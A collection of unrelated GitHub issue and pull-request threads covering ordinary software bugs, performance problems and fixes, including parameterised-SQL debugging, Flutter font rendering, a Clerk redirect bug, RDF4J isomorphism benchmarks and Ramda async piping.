Parameterised SQL difficult to debug

Since SQL parametrisation was introduced, I have noticed when debugging SQL queries, that the ? is not correctly transformed into the actual value it's supposed to be replaced with.
Example scenario is in RayGun and a QueuedJob fails, I'll see output something like this:
Error: Couldn't run query: UPDATE "SomeTable" SET "ClassName" = ?, "IsError" = ?,
"ResponseCode" = ?, "ResponseType" = ?, "Payload" = ?, "Response" = ?, "Errors" = ?, "EndPoint"
= ?, "LastEdited" = ?, "Created" = ? WHERE ("ID" = ?)
...
called at [/path/to/framework/model/connect/DBConnector.php:55]

The same obviously happens when viewing the raw SQL output from an arbitrary ORM query when calling sql().
...obviously it'd be much more helpful to have the actual values that the DB backend was attempting to manipulate present for debugging.

@kinglozzer didn't you create a PR for this?

@kinglozzer Wasn't me no :-(

ah, it was fixed in master https://github.com/silverstripe/silverstripe-framework/pull/4582

I don't expect we'd put this in 3, but maybe? if someone can do it in a backwards compatible way

@dhensby Awesome, it's been identified and has been worked on - isn't that all OSS dev's dream of when they report something!? ;-)


help not working

(node:80888) UnhandledPromiseRejectionWarning: TypeError: Cannot read property 'tag' of undefined
at Object.exports.run (/Users/juantan/Downloads/part/src/commands/utility/help.js:16:84)
at /Users/juantan/Downloads/part/src/events/message.js:40:11
at processTicksAndRejections (internal/process/task_queues.js:97:5)
(node:80888) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). To terminate the node process on unhandled promise rejection, use the CLI flag --unhandled-rejections=strict (see https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode). (rejection id: 2)

You need to define client.config.ownerID in the config to be your owner ID.


Custom fonts does not work with Android 8

Tested on several devices, the same build.

Lenovo Tab 3 - Android 6.0.1 - custom font works
Samsung J5 - Android 7.0 - custom font works
Google Pixel - Android 8.1.0 - font resets to default

Font example:
w.ttf.zip
Flutter version:
Flutter 0.5.4 • channel dev • https://github.com/flutter/flutter.git
Framework • revision 3019ad976d (6 days ago) • 2018-06-11 11:31:25 -0700
Engine • revision d33bbff470
Tools • Dart 2.0.0-dev.60.0.flutter-a5e41681e5

@cbracken

Also emojis are not displayed on the Android P beta. Tested on a Pixel 2XL.

Not sure what's causing this, but it isn't dependent on Android 8 alone.  I can render the attached font with Flutter on a Nexus 5x running Android 8.1.0 (as well as a Moto G4 with Android 7.0)

@cbracken any updates on this issue?

@cbracken @zoechi  any updates?

@zoechi @cbracken any updates?

Are you still seeing this?

@zoechi
Tested on Flutter (Channel dev, v1.1.4), Google Pixel.
Works well! Issue can be closed as resolved.


build failed using prod mode

when building with production mode giving issues, while building without production is running fine

Command Used: ng build --prod

Enviornment Versions:
node v12.16.2
npm  v6.14.4
Dependencies Version:
angular/core": "^8.2.14",
angular/material": "^8.2.3",
angular/material-moment-adapter": "^9.2.0",
moment": "^2.27.0",
**ng-pick-datetime": "^7.0.0",
ngx-bootstrap": "^4.2.0",
---tried both version 1.0.7 ,1.0.8 one by one for testing --------
ng-pick-datetime-moment": "^1.0.8",**
ng-pick-datetime-moment": "^1.0.7",**
----------------import statements used in my module----------------------------------
import { DateTimeAdapter, OWL_DATE_TIME_LOCALE, OwlDateTimeIntl } from 'ng-pick-datetime';
import { MomentDateTimeAdapter } from 'ng-pick-datetime-moment';
Tried importing  OwlMomentDateTimeModule  by both ways ,but both not working in my module--------
// import { OwlMomentDateTimeModule } from 'ng-pick-datetime-moment';
import { OwlMomentDateTimeModule } from 'ng-pick-datetime/date-time/adapter/moment-adapter/moment-date-
time.module';
import { OwlDateTimeModule, OwlNativeDateTimeModule, OWL_DATE_TIME_FORMATS } from 'ng-pick-datetime';
ERROR in ../ng-pick-datetime-moment/moment-adapter/moment-date-time-adapter.class.ts(46,2): Error during template compile of 'MomentDateTimeAdapter'
Function calls are not supported in decorators but 'ɵmakeDecorator' was called in 'Injectable'
'Injectable' calls 'ɵmakeDecorator'.
Attached Zip
module typescript file
package json file
PackageJsonAndModuleFile.zip

@DanielYKPan  Can you Please check as this is imp and urgent because it needs to go to production enviornment, waiting for your positive response

⛔ ⛔ ⛔    WARNING : READ BEFORE CREATING ISSUES    ⛔ ⛔ ⛔
This library was abandoned by its owner. I tried to contact him about 4 months ago with no success. Please cease to open new issues as they will not be handled by him. If you want, there is a fork created by Daniel Moncada and his team which is being currently maintained. Please don't open new issues here so that new users won't be mislead into believing this repo is still up-to-date.

Fork created by Daniel Moncada
https://github.com/danielmoncada/date-time-picker supports angular 9 ,
not 8 , so build is failing in 8 , i need it for angular 8,
Please help
On Wed, 15 Jul, 2020, 8:37 pm gongAll<EMAIL_ADDRESS>wrote:

⛔ ⛔ ⛔ WARNING : READ BEFORE CREATING ISSUES ⛔ ⛔ ⛔
This library was abandoned by its owner. I tried to contact him about 4
months ago with no success. Please cease to open new issues as they will
not be handled by him. If you want, there is a fork created by Daniel
Moncada and his team https://github.com/danielmoncada/date-time-picker
which is being currently maintained. Please don't open new issues here so
that new users won't be mislead into believing this repo is still
up-to-date.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/DanielYKPan/date-time-picker/issues/707#issuecomment-658818650,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AE4MJ2YO3P5MDV5XIOT7E5DR3XA4RANCNFSM4ORIO2OA
.

You either create your own fork and upgrade the repo to angular 8, or you upgrade your project to angular 9, or you simply give up on this datetimepicker. I'm afraid those are your only options.


IT DOESN'T WORK!

At all. You do exactly what the documentation says. You read your own XML document (you can even copy the XML document in the documentation and input that) and none of the members are translated into endpoints in the open api doc. It doesn't WORK!

Hey there,
I've just tested it out and it works. Make sure you've annotated your endpoints correctly.
Also you can check if there were errors during schema generation by inspecting the GenerationDiagnostic class.
Example of endpoint annotation:
/// <summary>
/// Load book by Id or Name
/// </summary>
/// <group>Books</group>
/// <verb>GET</verb>
/// <url>http://localhost:99/publicapi/books/{identifier}</url>
/// <param name="identifier" cref="string" in="path">Book id or name</param>
/// <response code="200"><see cref="BookDTO"/>Sample object retrieved</response>
[HttpGet]
public IHttpActionResult Get(string identifier)
{
    /* your code here */
}

Example for schema generation:
public string GenerateSchema() {

    var input = new OpenApiGeneratorConfig(
        annotationXmlDocuments: new List<XDocument>()
        {
<EMAIL_ADDRESS>// your project xml
        },
        assemblyPaths: new List<string>()
        {
            @"bin\project.dll" // your project dll
        },
        openApiDocumentVersion: "V1",
        filterSetVersion: FilterSetVersion.V1
    );

    GenerationDiagnostic result;

    var generator = new OpenApiGenerator();

    IDictionary<DocumentVariantInfo, OpenApiDocument> openApiDocuments = generator.GenerateDocuments(
        openApiGeneratorConfig: input,
        generationDiagnostic: out result
    );

    // Check result for errors

    return openApiDocuments.First().Value.SerializeAsJson(OpenApiSpecVersion.OpenApi3_0);
}

One thing I've noticed is that if you have complex types, like BookDTO in my case, its properties must have a getter and setter.

Thank you very much for your time, but I was able to get it to work eventually. The issue I was having was a library conflict. I'm using .Net Core 3.1 and I was using the Microsoft.Extensions.Configuration NuGet package, but the two together (Open Api and the Extension) caused the solution to crash every time. I had to remove one of them, and since I needed the Open API document in order to expose the Azure function through the API Manager, I choose to keep the Open Api Generator. It was a little extra work, but as I said in the end I was able to get it to work.
It was aggravating though, because there were no library conflict warnings or errors and I literally had to start with a new application, add this library first then add every other package one at a time to find the issue. Arrggh.
In the end I think the issue is a conflict with the particular set of technologies I was using, not so much this library itself.
Again, thank you for your time, Peter

Thank you.
You’re very kind.
I was able to get it to work.
I made the comment here, in case anyone else had the same issue - https://github.com/microsoft/OpenAPI.NET.CSharpAnnotations/issues/237?_pjax=%23js-repo-pjax-container
Thanks again,
Peter
From: Gonçalo Grazina @.>
Sent: Monday, April 12, 2021 6:43 AM
To: microsoft/OpenAPI.NET.CSharpAnnotations @.>
Cc: Anania, Peter @.>; Author @.>
Subject: Re: [microsoft/OpenAPI.NET.CSharpAnnotations] IT DOESN'T WORK! (#237)
Hey there,
I've just tested it out and it works. Make sure you've annotated your endpoints correctly.
Also you can check if there were errors during schema generation by inspecting the GenerationDiagnostic class.
Example of endpoint annotation:
///
/// Load book by Id or Name
///
/// Books
/// GET
/// http://localhost:99/publicapi/books/{identifier}</https://urldefense.com/v3/__http:/localhost:99/publicapi/books/*7Bidentifier*7D*3C/__;JSUl!!PH0vZokp8wwQNw!hVK6iDxeftGSHWvA-Zbwx6luB6VFBvw4dDxZzic7y8Ao9IZV5NslcUCxNNI0pFnIIzNalg$url>
/// Book id or name
/// Sample object retrieved
[HttpGet]
public IHttpActionResult Get(string identifier)
{
/* your code here */

}
Example for schema generation:
public string GenerateSchema() {
var input = new OpenApiGeneratorConfig(

    annotationXmlDocuments: new List<XDocument>()

    {

<EMAIL_ADDRESS>// your project xml

    },

    assemblyPaths: new List<string>()

    {

        @"bin\project.dll" // your project dll

    },

    openApiDocumentVersion: "V1",

    filterSetVersion: FilterSetVersion.V1

);

GenerationDiagnostic result;

var generator = new OpenApiGenerator();

IDictionary<DocumentVariantInfo, OpenApiDocument> openApiDocuments = generator.GenerateDocuments(

    openApiGeneratorConfig: input,

    generationDiagnostic: out result

);

// Check result for errors

return openApiDocuments.First().Value.SerializeAsJson(OpenApiSpecVersion.OpenApi3_0);

}
One thing I've noticed is that if you have complex types, like BookDTO in my case, its properties must have a getter and setter.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://urldefense.com/v3/__https:/github.com/microsoft/OpenAPI.NET.CSharpAnnotations/issues/237*issuecomment-817703263__;Iw!!PH0vZokp8wwQNw!hVK6iDxeftGSHWvA-Zbwx6luB6VFBvw4dDxZzic7y8Ao9IZV5NslcUCxNNI0pFlcSjWhqQ$, or unsubscribehttps://urldefense.com/v3/__https:/github.com/notifications/unsubscribe-auth/AMBH2HYGM4IYFSF4WLRARFLTILFC3ANCNFSM4ZJOGEYA__;!!PH0vZokp8wwQNw!hVK6iDxeftGSHWvA-Zbwx6luB6VFBvw4dDxZzic7y8Ao9IZV5NslcUCxNNI0pFlZ-xrSWA$.

Confidentiality Notice: This E-Mail is intended only for the use of the individual or entity to whom it is addressed and may contain information that is privileged, confidential and exempt from disclosure under applicable law. If you have received this communication in error, please do not distribute and delete the original message. Please notify the sender by E-Mail at the address shown. Thank you for your compliance.


Add broken backlinks to redirect sheet

www.sunstar.com-broken-backlinks-subdomains__2024-02-14_11-44-10.csv

Add Sunstar Engineering report.
www.sunstar-engineering.com-broken-backlink__2024-02-14_17-09-12.csv

Create sunstar.com redirect list.
Redirection of Sunstar broken links.xlsx

Create sunstar-engineering.com redirect list.
Redirection of Sunstar Engineering broken links.xlsx

@sdmcraft please help to review the Redirect destination column of above 2 excel files, if all look good we can update it in prod.

Thanks @JiangLong2019 . Looks good. @ehrro , fyi, we are adding all these redirects to ensure 301 redirect instead of 404 handler redirect.

@ehrro The 301 redirect has been published in prod, you can check on live site.

Created Sunstar Foundation redirect and updated in sharePoint as well.
Redirection of Sunstar Foundation.xlsx

Thank you guys much appreciated!

Hi team, just checking as I still see this issue open: have the redirects been setup successfully in production?


Hive: HiveCatalog listTables takes minutes if there are thousands tables in namespace

when we update iceberg 0.9.0 to 0.12.1, we found an issue that HiveCatalog#listTables(Namespace) takes minutes in 0.12.1 in our production env, compared to ~1s in 0.9.0.
In our production, this method takes 28s for one namespace contains 517 tables, 75s for one namespace contains 1301 tables, more than half an hour for one namespace with 27000+ tables.

In this issue(https://github.com/apache/iceberg/pull/1835), client.getTableObjectsByName was added to filter iceberg tables, but this method is really slow if there are thousands tables. In our product env, we separate different table types in different namespace, so there is no need to filter iceberg tables.
List<Table> tableObjects = clients.run(client -> client.getTableObjectsByName(database, tableNames));

We should add a flag(hive properties) to indicate whether we need to filter iceberg tables in namespace.


[Event Request] Codeunit 5611 "Calculate Normal Depreciation" - Calculate

We would like to perform our own calculations in the function Calculate.
    procedure Calculate(var DeprAmount: Decimal; var NumberOfDays4: Integer; FANo: Code[20]; DeprBookCode2: Code[10]; UntilDate2: Date; EntryAmounts2: array[4] of Decimal; DateFromProjection2: Date; DaysInPeriod2: Integer; var NewPostingDate: Date)
    var
        i: Integer;
        IsHandled: Boolean;
    begin
>>NEW CODE
IsHandled := false;
OnBeforeCalculate(DeprAmount, NumberOfDays4, FANo, DeprBookCode2, UntilDate2, EntryAmounts2, DateFromProjection2, DaysInPeriod2, NewPostingDate, IsHandled)
if IsHandled then
            exit;
<<NEW CODE
        ClearAll;
.
.
.

    [IntegrationEvent(false, false)]
    local procedure OnBeforeCalculate(var DeprAmount: Decimal; var NumberOfDays4: Integer; FANo: Code[20]; DeprBookCode2: Code[10]; UntilDate2: Date; EntryAmounts2: array[4] of Decimal; DateFromProjection2: Date; DaysInPeriod2: Integer; var NewPostingDate: Date; var IsHandled: Boolean)
    begin
    end;

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. We will update this issue with information about availability.


Invalid URL created when using Next.js 13 app directory (http://localhost:3000/sign-inredirect_url=http:/localhost:3000/protected)

[X] Review the documentation: https://docs.clerk.com/
[X] Search for existing issues: https://github.com/clerkinc/javascript/issues
[X] Go through package changelog files.
[X] Provide the Frontend API key from your application dashboard. (pk_test_cHJvdWQtZGFuZS04Ni5jbGVyay5hY2NvdW50cy5kZXYk)

Package + Version

[ ] @clerk/clerk-js
[ ] @clerk/clerk-react
[X] @clerk/nextjs
[ ] @clerk/remix
[ ] @clerk/types
[ ] @clerk/themes
[ ] @clerk/localizations
[ ] @clerk/clerk-expo
[ ] @clerk/backend
[ ] @clerk/clerk-sdk-node
[ ] @clerk/shared
[ ] @clerk/fastify
[ ] gatsby-plugin-clerk
[ ] build/tooling/chore
[ ] other:

Dependencies + versions
Pages directory repo that works: https://github.com/r3Fuze/next-pages-dir-clerk-redirect
App directory repo that doesn't work: https://github.com/r3Fuze/next-app-dir-clerk-redirect
Dependencies for non-functional app directory version.
"dependencies": {
  "@clerk/nextjs": "^4.11.14",
  "@types/node": "18.15.11",
  "@types/react": "18.0.31",
  "@types/react-dom": "18.0.11",
  "autoprefixer": "10.4.14",
  "eslint": "8.37.0",
  "eslint-config-next": "13.2.4",
  "next": "13.2.4",
  "postcss": "8.4.21",
  "react": "18.2.0",
  "react-dom": "18.2.0",
  "tailwindcss": "3.3.0",
  "typescript": "5.0.2"
}

Browser/OS
Firefox  112, Node 19.7.0, Windows 10
Description
Clerk will create an invalid URL when used with the Next.js 13 app directory. A (mostly) identical version using the pages directory works fine.
Both versions were created by following the steps in the beta docs (pages, app)
See the Dependencies + versions section for repos for both versions.
Reproduction steps for the app directory version

Be signed out on the home page
Navigate to /protected
Redirected to http://localhost:3000/sign-in?redirect_url=http%3A%2F%2Flocalhost%3A3000%2Fprotected
Sign in with GitHub or email (I've only tried those two, but they both fail)
Redirected to http://localhost:3000/sign-inredirect_url=http:/localhost:3000/protected

Notice the missing ? between sign-in and redirect_url. There is also a missing / in the protocol for the redirect_url
The same steps in the pages directory version create a valid URL at the end and redirect to /protected without problems.
Related support thread from the Discord: https://discord.com/channels/856971667393609759/1070730863077236846
Let me know if you need any more information.

Hey @r3Fuze, thank you for report this issue. I confirm that this seems to be reproducible.
Until the issue is resolved and as a temporary workaround you could use the following
import { SignIn } from "@clerk/nextjs/app-beta"

export default function Page({
  params,
  searchParams,
}: {
  params: { slug: string };
  searchParams: { [key: string]: string | undefined };
}) {
  return <SignIn path="/sign-in" signUpUrl="/sign-up" redirectUrl={searchParams.redirect_url || '/'} />
}


warn if process-compose is imported but not used

In the current main branch, if the module is imported but not used it will throw an error, which forces the user to set process-compose = { }; under perSystem. Ref: https://github.com/nammayatri/shared-kernel/blob/1de10a8b1628dc123c0a62585c9adb3082b85a49/flake.nix#L61
I'll close this PR (as it also quite out of date from main branch), but feel free to file a new issue with detailed request if I have misunderstood something!


Editor is closed when closing last tab, but is not closed when closing all tabs

Screencast from 11-15-2023 02:16:11 PM.webm

I'm not sure if it is a bug. When we close the tab we close the tab exactly, when we close editor we might expect to open with all opened tabs which were not closed.


Issues/1441 models isomorphic benchmarks

This PR addresses GitHub issue: #1441 .
Briefly describe the changes proposed in this PR:

benchmarks for model isomorphic

@jeenbroekstra could you take a quick look so I can merge this?

Looks good in principle, though I still have a hard time following how to use these benchmark tests in anger. You occasionally post numbers but I must admit I don't really understand what those numbers tell me other than "on my machine, running test X goes at speed Y". Unless I have a trend or a comparison to a previous run that's not very helpful.
Remind me again: if we run a normal verification build, these benchmark tests will not be automatically executed, correct?
Sorry if I'm being a bit hazy, I've been swamped at work and my head is all over the place ATM.

I use this plugin for IntelliJ: https://plugins.jetbrains.com/plugin/7529-jmh-plugin
Then you can right click on a benchmark (or the whole file) and run it.
My typical approach is to make some benchmarks to identify things I think are slow. Then run those benchmarks (remembering to turn the fans up, stop time machine from backing up and stop any other cpu or io intensive tasks). I’ll store the numbers for later, so I can see if my future code changes actually make any difference.
 If you want to use this it’s important to only run a single benchmark (and not the entire file). It will generate a file that you can open in Java Mission Control to see things like hot methods.
My laptop is fairly old (6 years) and I’ve noticed that a work laptop I used to have which was newer would sometimes show that certain changes made more of less difference. This was due to things like differences in cpu caching and support for vector operations (SSE and AVX). I would love to have a set of machines with new and old consumer processors and some server processors like Xeon to do a broader benchmark. Would also be amazing if someone made a product like Jenkins or Travis but for benchmarks instead of tests.

After I made the new benchmarks to test for cases were two models were not isomorphic I found out that some of my benchmarks were bound by IO and how fast it could parse RDF and create a model. So I extracted that into fields, so now we only benchmark isomorphic(...).
# Run complete. Total time: 00:07:23

Benchmark                                 Mode  Cnt    Score    Error  Units
IsomorphicBenchmark.blankNodes            avgt   10    0.201 ±  0.088  ms/op
IsomorphicBenchmark.bsbm                  avgt   10   23.595 ±  0.400  ms/op
IsomorphicBenchmark.bsbmArrayList         avgt   10  310.037 ±  8.122  ms/op
IsomorphicBenchmark.bsbmNotIsomorphic     avgt   10   25.226 ±  0.796  ms/op
IsomorphicBenchmark.bsbmTree              avgt   10  135.948 ±  3.899  ms/op
IsomorphicBenchmark.empty                 avgt   10   ≈ 10⁻⁵           ms/op
IsomorphicBenchmark.emptyNotIsomorphic    avgt   10   ≈ 10⁻⁵           ms/op
IsomorphicBenchmark.internallyIsomorphic  avgt   10   30.016 ±  0.545  ms/op
IsomorphicBenchmark.list                  avgt   10    5.872 ±  0.453  ms/op
IsomorphicBenchmark.longChain             avgt   10    0.016 ±  0.001  ms/op
IsomorphicBenchmark.manyProperties2       avgt   10  180.771 ± 48.912  ms/op
IsomorphicBenchmark.shacl                 avgt   10    2.543 ±  0.052  ms/op
IsomorphicBenchmark.sparqlTestCase        avgt   10    0.041 ±  0.001  ms/op

Here you can also see that bsbm (which uses a LinkedHashModel) is considerably faster than bsbmTree which uses a TreeModel. I have yet to see a case were TreeModel is faster than LinkedHashModel. Btw. bsbmArrayList uses an arraylist to call isomorphic(...) which gets converted to a TreeModel by that method.
I need to make some benchmarks for loading data into LinkedHashModel vs. TreeModel to see which is faster. Maybe LinkedHashModel will get slower once it passes 1-2 GB, since it will need to rehash to grow.

I've now implemented an ArrayDeque based approach without recursion. Seems to be working fine, but we will see what jenkins says.

Ran a final benchmark and also compared it to Jena. Jena is sometimes faster and sometimes slower.
Benchmark                                       Mode  Cnt    RDF4J      Jena    Units
IsomorphicBenchmark.blankNodes                  avgt   10    0.165     0.250    ms/op
IsomorphicBenchmark.bsbm                        avgt   10   24.869    65.654    ms/op
IsomorphicBenchmark.bsbmNotIsomorphic           avgt   10   25.697    23.458    ms/op
IsomorphicBenchmark.bsbmArrayList               avgt   10  322.951    ------    ms/op
IsomorphicBenchmark.bsbmTree                    avgt   10  138.642    ------    ms/op
IsomorphicBenchmark.empty                       avgt   10   ≈ 10⁻⁴    ≈ 10⁻³    ms/op
IsomorphicBenchmark.emptyNotIsomorphic          avgt   10   ≈ 10⁻⁵    ≈ 10⁻⁴    ms/op
IsomorphicBenchmark.internallyIsomorphic        avgt   10   30.933     9.786    ms/op
IsomorphicBenchmark.list                        avgt   10    6.121     1.580    ms/op
IsomorphicBenchmark.longChain                   avgt   10    0.012     0.037    ms/op
IsomorphicBenchmark.manyProperties              avgt   10  127.931   319.048    ms/op
IsomorphicBenchmark.manyProperties2             avgt   10  173.765     8.245    ms/op
IsomorphicBenchmark.shacl                       avgt   10    2.508     0.637    ms/op
IsomorphicBenchmark.sparqlTestCase              avgt   10    0.045     0.070    ms/op
IsomorphicBenchmark.spinFullForwardchained      avgt   10  764.446    15.503    ms/op

In some cases Jena is 2-3x slower than RDF4J. In other cases RDF4J is slower, up to 50x slower.
I think the biggest issue for RDF4J is the choice of TreeModel, so I reckon it'll be useful to swap that to LinkedHashModel.

Results after optimising LinkedHashModel.contains(Object o):
Benchmark                                   Mode  Cnt    Score    Error  Units
IsomorphicBenchmark.blankNodes              avgt   10    0.188 ±  0.004  ms/op
IsomorphicBenchmark.bsbm                    avgt   10   34.417 ±  0.919  ms/op
IsomorphicBenchmark.bsbmArrayList           avgt   10  114.878 ±  2.485  ms/op
IsomorphicBenchmark.bsbmNotIsomorphic       avgt   10   17.743 ±  0.532  ms/op
IsomorphicBenchmark.bsbmTree                avgt   10  141.476 ±  2.152  ms/op
IsomorphicBenchmark.empty                   avgt   10   ≈ 10⁻⁴           ms/op
IsomorphicBenchmark.emptyNotIsomorphic      avgt   10   ≈ 10⁻⁵           ms/op
IsomorphicBenchmark.internallyIsomorphic    avgt   10   35.329 ±  0.968  ms/op
IsomorphicBenchmark.list                    avgt   10    6.852 ±  0.120  ms/op
IsomorphicBenchmark.longChain               avgt   10    0.009 ±  0.001  ms/op
IsomorphicBenchmark.manyProperties          avgt   10  138.511 ±  1.791  ms/op
IsomorphicBenchmark.manyProperties2         avgt   10  169.942 ±  6.942  ms/op
IsomorphicBenchmark.sameModel               avgt   10   ≈ 10⁻⁶           ms/op
IsomorphicBenchmark.shacl                   avgt   10    3.236 ±  0.129  ms/op
IsomorphicBenchmark.sparqlTestCase          avgt   10    0.050 ±  0.001  ms/op
IsomorphicBenchmark.spinFullForwardchained  avgt   10  811.222 ± 19.786  ms/op

After optimising to use HashSet where available:
Benchmark                          Mode  Cnt   Score   Error  Units
IsomorphicBenchmark.bsbmArrayList  avgt   10  71.239 ± 1.532  ms/op

Down from 114.878 ms/op.

Lastest numbers:
Benchmark                                   Mode  Cnt    Score     Error  Units
IsomorphicBenchmark.blankNodes              avgt   10    0.134 ±   0.005  ms/op
IsomorphicBenchmark.bsbm                    avgt   10   39.182 ±   0.845  ms/op
IsomorphicBenchmark.bsbmArrayList           avgt   10   88.719 ±   8.680  ms/op
IsomorphicBenchmark.bsbmNotIsomorphic       avgt   10   21.488 ±   2.624  ms/op
IsomorphicBenchmark.bsbmTree                avgt   10  144.218 ±   2.983  ms/op
IsomorphicBenchmark.empty                   avgt   10   ≈ 10⁻⁴            ms/op
IsomorphicBenchmark.emptyNotIsomorphic      avgt   10   ≈ 10⁻⁵            ms/op
IsomorphicBenchmark.internallyIsomorphic    avgt   10   30.692 ±   0.455  ms/op
IsomorphicBenchmark.list                    avgt   10    4.565 ±   0.126  ms/op
IsomorphicBenchmark.longChain               avgt   10    0.016 ±   0.001  ms/op
IsomorphicBenchmark.manyProperties          avgt   10  147.418 ±   2.799  ms/op
IsomorphicBenchmark.manyProperties2         avgt   10  177.336 ±   2.343  ms/op
IsomorphicBenchmark.sameModel               avgt   10   ≈ 10⁻⁶            ms/op
IsomorphicBenchmark.shacl                   avgt   10    3.069 ±   0.045  ms/op
IsomorphicBenchmark.sparqlTestCase          avgt   10    0.046 ±   0.001  ms/op
IsomorphicBenchmark.spinFullForwardchained  avgt   10  706.181 ± 168.265  ms/op


Fix NaiveDate parse_from_str argument order

The documentation specifies that NaiveDate::parse_from_str takes two arguments: value and format, in respective order.
Due to this, DATE fields could not be read into NaiveDate... and I have ptsd.

Great, thanks!


Support tags in statsd metric target

In this PR I've migrated from quipo/statsd to the dtatadog-go/statsd library. The datadog client supports a particular version of tag syntax in their statsd implementation. There is some discussion here (https://github.com/statsd/statsd/issues/619) about the divergence of tag syntax among statsd clients.
This PR also adds support for string interpolation for the payload field in the http_client input type.

Hey @zacatac, I'd like to support Datadog tagging but it looks as though this PR would break for users relying on TCP traffic. As an alternative I'd be happy to add this as a specific datadog metric target instead of replacing the existing statsd version.

Sounds good, will update the PR this weekend!

Also We have problems with quipo/statsd package
This package does too much, for example, it considers aggregation for Timing metric is a problem if you use telegraph (https://github.com/influxdata/telegraf)
We replaced completely the github.com/Jeffail/benthos/v3/lib/metrics package with our implementation that uses https://github.com/smira/go-statsd and does not implement aggregations
Usually there's some kind of aggregation between statsd client and time-series database which might affect the queries you're using.

Maybe should implement metrics as a plugin? Like processors

@Jeffail Maybe should implement metrics as a plugin? Like processors

Interesting, I wasn't aware of the problems we had with the existing lib, I've opened https://github.com/Jeffail/benthos/issues/324 to tackle the statsd aggregation part separately.

@zacatac given the issues with the existing statsd client outlined by @assada I think it might be worth replacing it. I've added details to https://github.com/Jeffail/benthos/issues/324, but in short I like the look of https://github.com/smira/go-statsd and it also supports datadog tagging, so maybe we can get away without needing a separate datadog metric target.

@zacatac, got a new PR that handles backwards compatibility https://github.com/Jeffail/benthos/pull/334, would you be willing to try it out? I'd like to make sure it works for your usecase before moving forwards.

Hey @zacatac, I've merged a backwards compatible version. The way to use the new lib is outlined in the docs: https://github.com/Jeffail/benthos/tree/master/docs/metrics#statsd, basically you set tag_format to none, datadog or influxdb and it'll use the new library.


Dr-1132 - Plan names

Based on our yesterday conversation with Juampi and Luciana, we decided to avoid plan name translation. The name will be the same for English and Spanish.
Today we adopted the follow convention with @diegofox2: PLAN-10K, PLAN-60K, PLAN-300K, etc.
So, I have updated the default plan name and remove the translations.
Could you review?
@nreal it should not affect backend code, right?
cc: @mvillaseco

This looks great!
PD: Remind to update DB plans name to match this new standard (so the default plan will be selected).

PD: Remind to update DB plans name to match this new standard (so the default plan will be selected).

Yep, @diegofox2 is taking care of that, see DR-1129

No, only pay attention when active a new user the system find DEFAULT_PLAN if change this name should be changed in the config.JSON key DefaultFreePlan in Application.API project


Introduce #[dynomite(skip_serializing_if = "..")] attribute

This basically reflects serde::skip_serializing_if attribute.
This will be very useful for us to get rid of manual workarounds where we need to store empty binary sets in a db record.
Also had to fix a clippy lint of implementing Into trait instead of From to let CI pass
cc @ZaMaZaN4iK @softprops

Closing this, since the original maintainer asked for proceeding the work in the original repo, it's already merged there


add to lobby instruction

i see some instruction here:
https://github.com/asciidoctor/jekyll-asciidoc#publishing-your-site
but i didnt see that anyone had actually posted an issue on the pages repo yet,
so I did that. perhaps we could add for any interested to also post their
support on the issue?

https://github.com/asciidoctor/jekyll-asciidoc/issues/209
https://github.com/asciidoctor/jekyll-asciidoc/issues/26
https://github.com/github/pages-gem/issues/624

From what I've been told, GitHub doesn't take into account the number of comments or likes on the issue. They only count emails to support, which by their nature are not public.

If you'd like to updated the instructions, please submit a proposal.


Update "Migrating Configuration From ASP.NET MVC 5 to MVC 6" for RC1

This doc still references Beta 8. I'll be submitting a PR within the next day to reflect the changes made in RC1.

Are you looking at the version I just published for RC1?

@Rick-Anderson I used this doc (which has been updated for RC1) as a starting point for the sample app I added for this doc (which was referencing Beta 8).

Looks good. Closing this issue and I'll just work with PR https://github.com/aspnet/Docs/pull/848


Why "SA-cim_validator" app is not loading my "raw/datamodels" in "Target datamodel", any possible reasons or troubleshooting help ?

https://answers.splunk.com/answers/629476/why-sa-cim-validator-app-is-not-loading-my-rawdata.html

if you are looking to validate agains Splunk developed datamodels, part of Common Information Model, you need to install Splunk_SA_CIM, see https://splunkbase.splunk.com/app/1621/ Otherwise, you will need to create your own datamodel definitions to validate against.


 But I'm trying to avoid using PipeP because deprecated but when I have to do a pipe with a list of async functions I don't know how to handle it without falling in a callback hell like this:
    const updateActiveUser = R.pipe(
      getUserFromStorage,
      R.andThen(
        R.pipe(
          R.head,
          R.tap(LocalStorageApps.removeGlobal('activeUser')),
          R.andThen(
            R.pipe(
              R.tap(LocalStorageApps.insertGlobal('activeUser')),
              R.andThen(
                R.pipe(
                  LocalStorageApps.getGlobal('activeUser'),
                  R.andThen(R.pipe( R.head, R.tap(onSetActiveUser), setFaenaChosen)),
                ),
              ),
            ),
          ),
        ),
      ),
    );

I know that it have to be a better way.

pipeP deprecated in favor of pipeWith. It's possible to get the same behavior or pipeP with pipeWith(andThen) (except it accepts an array of inputs instead of many parameters).
I think using pipeWith would allow you to flatten that whole thing out to the top layer.

const updateActiveUser = R.pipeWith(R.andThen, [
          getUserFromStorage,
          R.head,
          R.tap(LocalStorageApps.removeGlobal('activeUser')),
          R.tap(LocalStorageApps.insertGlobal('activeUser')),
          LocalStorageApps.getGlobal('activeUser'),
          R.head,
          R.tap(onSetActiveUser),
          setFaenaChosen
      ]
);

You might be able to simplify this further depending on the structure of the data... If the functions that you are calling head after return an Array of a single item you could use chain to get rid of those calls to head. Please note this is untested code:
const updateLocalStorage = (activeUser) => {
  LocalStorageApps.removeGlobal('activeUser', activeUser);
  LocalStorageApps.insertGlobal('activeUser', activeUser);
  return LocalStorageApps.getGlobal(`activeUser`, activeUser);  // does this require a second parameter? If not it may cause a bug the way it was before.
};
const handleUpdatedUser = R.pipe(R.tap(onSetActiveUser), setFaenaChosen);
const updateActiveUser = R.pipeWith(R.andThen, [
          getUserFromStorage,
          R.chain(updateLocalStorage),
          R.chain(handleUpdatedUser)  // Or use R.map(handleUpdatedUser) and then R.head if this doesn't work
      ]
);

@Bradcomp thanks man, I take the first code. But as pipeP the first code only will work when the first function in pipe is async. It's a little annoying. The second code I would say is a little complicated to understand.

You can always use Promise.resolve as the first function in your pipeline!


Adds support for keyspace similar to akka-persistence-cassandra

